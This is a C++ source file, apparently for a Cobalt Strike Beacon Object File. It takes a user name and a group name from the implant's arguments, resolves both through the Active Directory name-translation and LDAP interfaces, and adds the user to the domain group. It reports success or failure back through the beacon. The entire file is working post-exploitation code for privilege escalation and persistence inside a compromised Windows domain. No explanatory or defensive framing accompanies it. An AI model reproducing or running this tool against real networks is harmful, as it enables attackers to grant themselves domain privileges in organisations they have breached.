Files
2023-02-23 19:18:21 +03:00

158 lines
4.7 KiB
C++

#include "AddUserToDomainGroup.h"
#include "beacon.h"
#pragma comment(lib, "netapi32.lib")
#pragma comment(lib, "ADSIid.lib")
#pragma comment(lib, "Activeds.lib")
#define RETURN_IF_HR_FAILED(hr) \
if (!SUCCEEDED(hr)) \
{ \
BeaconPrintf(CALLBACK_ERROR, "failed at %d lasterr: %d - hr: %X", __LINE__, KERNEL32$GetLastError(), hr); \
goto Cleanup; \
}
HRESULT NtToLdap(LPWSTR szNtDomain, LPWSTR szNtName, LPWSTR *szLdapPath)
{
IADsNameTranslate *pNto;
HRESULT hr;
IID IID_IADsNameTranslate = {0xB1B272A3, 0x3625, 0x11D1, {0xA3, 0xA4, 0x00, 0xC0, 0x4F, 0xB9, 0x50, 0xDC}};
CLSID CLSID_NameTranslate = {0x274FAE1F, 0x3626, 0x11D1, {0xA3, 0xA4, 0x00, 0xC0, 0x4F, 0xB9, 0x50, 0xDC}};
hr = OLE32$CoCreateInstance(CLSID_NameTranslate,
NULL,
CLSCTX_INPROC_SERVER,
IID_IADsNameTranslate,
(void **)&pNto);
RETURN_IF_HR_FAILED(hr);
hr = pNto->Init(ADS_NAME_INITTYPE_DOMAIN, szNtDomain);
RETURN_IF_HR_FAILED(hr);
hr = pNto->Set(ADS_NAME_TYPE_NT4, szNtName);
RETURN_IF_HR_FAILED(hr);
hr = pNto->Get(ADS_NAME_TYPE_1779, szLdapPath);
RETURN_IF_HR_FAILED(hr);
Cleanup:
if (pNto)
pNto->Release();
return hr;
}
LPWSTR GetDomainName()
{
DSROLE_PRIMARY_DOMAIN_INFO_BASIC *buffer;
DWORD dwRet;
LPWSTR szRet = NULL;
dwRet = NETAPI32$DsRoleGetPrimaryDomainInformation(NULL,
DsRolePrimaryDomainInfoBasic,
(PBYTE *)&buffer);
if (dwRet == ERROR_SUCCESS && buffer->DomainNameFlat != NULL)
{
szRet = buffer->DomainNameFlat;
}
return szRet;
}
VOID AddUserToDomainGroup(LPWSTR szInputUserName, LPWSTR szInputGroup)
{
HRESULT hr;
IADs *pUsr = NULL;
LPWSTR szUserLdapPath = NULL;
LPWSTR szGroupLdapPath = NULL;
LPWSTR szNtDomain = NULL;
WCHAR szUserName[MAX_LDAP_DN] = {0};
WCHAR szGroupName[MAX_LDAP_DN] = {0};
IADsGroup *pTargetGroup = NULL;
IID IID_IADsGroup = {0x27636B00, 0x410F, 0x11CF, {0xB1, 0xFF, 0x02, 0x60, 0x8C, 0x9E, 0x75, 0x53}};
hr = OLE32$CoInitialize();
RETURN_IF_HR_FAILED(hr);
szNtDomain = GetDomainName();
if (!szNtDomain)
{
BeaconPrintf(CALLBACK_ERROR, "GetDomainName");
goto Cleanup;
}
if (MSVCRT$swprintf_s(szUserName, MAX_LDAP_DN, L"%s\\%s", szNtDomain, szInputUserName) == -1)
{
BeaconPrintf(CALLBACK_ERROR, "swprintf_s username");
goto Cleanup;
}
if (MSVCRT$swprintf_s(szGroupName, MAX_LDAP_DN, L"%s\\%s", szNtDomain, szInputGroup) == -1)
{
BeaconPrintf(CALLBACK_ERROR, "swprintf_s group");
goto Cleanup;
}
hr = NtToLdap(szNtDomain, szUserName, &szUserLdapPath);
RETURN_IF_HR_FAILED(hr);
hr = NtToLdap(szNtDomain, szGroupName, &szGroupLdapPath);
RETURN_IF_HR_FAILED(hr);
MSVCRT$memset(szGroupName, 0, MAX_LDAP_DN);
if (MSVCRT$swprintf_s(szGroupName, MAX_LDAP_DN, L"LDAP://%s", szGroupLdapPath) == -1)
{
BeaconPrintf(CALLBACK_ERROR, "swprintf_s ldap group");
goto Cleanup;
}
hr = ACTIVEDS$ADsGetObject(szGroupName, IID_IADsGroup, (void **)&pTargetGroup);
RETURN_IF_HR_FAILED(hr);
// we have to prepend LDAP:// to the ldap path
MSVCRT$memset(szUserName, 0, MAX_LDAP_DN);
if (MSVCRT$swprintf_s(szUserName, MAX_LDAP_DN, L"LDAP://%s", szUserLdapPath) == -1)
{
BeaconPrintf(CALLBACK_ERROR, "swprintf_s ldap user");
goto Cleanup;
}
hr = pTargetGroup->Add(szUserName);
RETURN_IF_HR_FAILED(hr);
BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully added the user %ws to %ws group", szInputUserName, szInputGroup);
Cleanup:
if (pTargetGroup)
pTargetGroup->Release();
if (szUserLdapPath)
OLEAUT32$SysFreeString(szUserLdapPath);
OLE32$CoUninitialize();
}
VOID go(IN PCHAR Args, IN ULONG Length)
{
datap parser;
LPWSTR szInputUserName = NULL,
szInputGroup = NULL;
BeaconDataParse(&parser, Args, Length);
szInputUserName = (WCHAR *)BeaconDataExtract(&parser, NULL);
szInputGroup = (WCHAR *)BeaconDataExtract(&parser, NULL);
if (!szInputUserName || !szInputGroup)
{
BeaconPrintf(CALLBACK_ERROR, "invalid args");
return;
}
AddUserToDomainGroup(szInputUserName, szInputGroup);
}